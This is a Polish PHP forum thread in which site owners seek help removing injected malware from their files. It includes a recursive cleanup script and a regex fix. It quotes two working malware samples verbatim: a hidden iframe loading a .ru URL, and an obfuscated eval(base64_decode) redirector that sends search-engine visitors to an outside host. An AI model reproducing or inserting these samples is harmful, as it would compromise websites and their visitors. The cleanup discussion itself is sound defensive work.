Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP] Skrypt do usunięcia wirusa
Forum PHP.pl > Forum > Przedszkole
lukasz_web
Witam,

Posiadam zainfekowane ponad 1000 plików wirusem:

  1. <?
  2. #8c2699#
  3. echo " <script type=\"text/javascript\" language=\"javascript\" > document.write('<iframe src=\"http://jaqvicmy.ru/count7.php\" border=\"0\" width=\"0\" height=\"0\" style=\"display:none\"></iframe>');</script>";
  4. #/8c2699#
  5. ?>


Znalazłem skrypt php który automatycznie powinien mi usunąć niechciany kod z plików:

  1. <?php
  2. $kasuj = 1; #jezeli chcesz tylko informacje o zakazonych plikach, bez usuwania iframe ustaw na 0
  3. $folder = '.'; #wpisz tutaj nazwe przeszukiwanego folderu, kropka onacza wszystkie foldery
  4. function ListFiles($dir) {
  5.  
  6. if($dh = opendir($dir)) {
  7.  
  8. $files = Array();
  9. $inner_files = Array();
  10.  
  11. while($file = readdir($dh)) {
  12. if($file != "." && $file != ".." && $file[0] != '.') {
  13. if(is_dir($dir . "/" . $file)) {
  14. $inner_files = ListFiles($dir . "/" . $file);
  15. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  16. } else {
  17. $type=stristr($file, '.');
  18. if($type == '.php' OR $type == '.html' OR $type == '.tpl')
  19. array_push($files, $dir . "/" . $file);
  20. }
  21. }
  22. }
  23.  
  24. closedir($dh);
  25. return $files;
  26. }
  27. }
  28.  
  29. $pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";
  30.  
  31. foreach (ListFiles($folder) as $key=>$file){
  32. echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:5px;margin-top:20px;\">Sprawdzam plik <b>".$file ."</b></span>";
  33. $contents=@file_get_contents($file);
  34. $ncontents=preg_replace($pattern, "", $contents, -1, $count);
  35. if($count != '0')
  36. {
  37. if($kasuj == 1)
  38. if(@file_put_contents($file, $ncontents))
  39. echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono i <font color=\"red\">pomyslnie skasowano</font> <b>iframe</b> z pliku <u>".$file."</u></span>";
  40. else
  41. echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono <font color=\"red\">lecz nie udało się usunac</font> <b>iframe</b> z pliku <u>".$file."</u></span>";
  42.  
  43. }
  44. else
  45. echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:50px;\">Plik <b>".$file."</b> nie jest zainfekowany</span>";
  46.  
  47. }
  48.  
  49.  
  50. ?>


No i przerobiłem sobie pod swój wirus skrypt:

  1. $pattern="/#8c2699#(.*)#\/8c2699#/";


I nie usuwa ciągu znaków :/ w wirusie mam spacje i entery to może dlatego (.*) -> nie działa?
czychacz
spróbuj
  1. $pattern="/#8c2699#(.*)#\/8c2699#/isU";
wieri3
Witam, a może ktoś mi przerobić wzór, żeby kasował ten kod:

eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGx
tKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VT
RVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiV2luZG93cyIpKXsKaWYgKHN0c
mlzdHIoJHVhZywiTVNJRSIpIG9yIHN0cmlzdHIoJHVhZywiT3BlcmEiKSBvciBzdHJpc3RyKCR1YWcsIk
ZpcmVmb3giKSBvciBzdHJpc3RyKCR1YWcsIkNocm9tZSIpKXsKaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI
0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4w
IikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikgYW5kICFzdHJzdHIoJHVhZywiRmlyZWZveC8zL
iIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbm
cuIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlci4iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJ
hbHRhLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInQuY28vIikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlu
eXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxc
P3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3Rya
XN0cigkcmVmZXJlciwiYW9sLmNvbSIpIG9yIChwcmVnX21hdGNoICgiL2h0dHBzOlwvXC93d3dcLmdvb2
dsZVwuKC4qPylcLy8iLCRyZWZlcmVyKSBhbmQgc3Ryc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQ
iXSwiQ2hyb21lLyIpKSkgewppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgYW5kICFzdHJpc3Ry
KCRyZWZlcmVyLCJpbnVybCIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiRWVZcDNENyIpKXsKaGVhZGVyK
CJMb2NhdGlvbjogaHR0cDovL2lwd2hydG1sYS5lcGFjLnRvLyIpOwpleGl0KCk7Cn0KfQp9Cn0KfQp9Cn
0KfQ=="));
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.